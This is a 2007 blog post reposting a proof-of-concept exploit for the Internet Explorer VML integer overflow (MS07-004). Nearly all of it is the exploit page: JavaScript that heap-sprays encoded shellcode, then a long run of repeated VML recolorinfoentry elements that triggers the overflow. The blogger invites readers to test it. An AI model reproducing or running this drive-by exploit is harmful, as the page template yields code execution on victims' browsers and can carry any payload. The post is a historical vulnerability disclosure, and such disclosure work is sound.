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since 27 March 2006
 
2007/01/16
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POC for exploit for VML integer overflow: MS07-004

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Digg!

This is just published on the bugtraq mailing list. It seems that this vulnerability can be exploited by using the CVMLRecolorinfo::InternalLoad() method to trigger the overflow. This exploit has been provided by LifeAsAGeek and it has been tested in Windows XP SP2 Korean version with IE6.0. I will be testing it on English version with IE7.0 but so far the results are unknown.

Here is the code:

<html xmlns:v="urn:schemas-microsoft-com:vml">

<head>
<object id="VMLRender"
classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v\:* { behavior: url(#VMLRender); }
</style>
</head>

<body>

<SCRIPT language="javascript">
shellcode =
unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

bigblock = unescape("%u0505%u0505");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<350;i++) memory[i] = block + shellcode;

</script>

<v:rect style='width:120pt;height:80pt' fillcolor="red" >
<v:recolorinfo recolorstate="t" numcolors="97612895">

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
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lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
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<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v/recolorinfo>
</html>

If you are able to test it and publish the results, please do so.

Credit: LifeAsAGeek at gmail dot com

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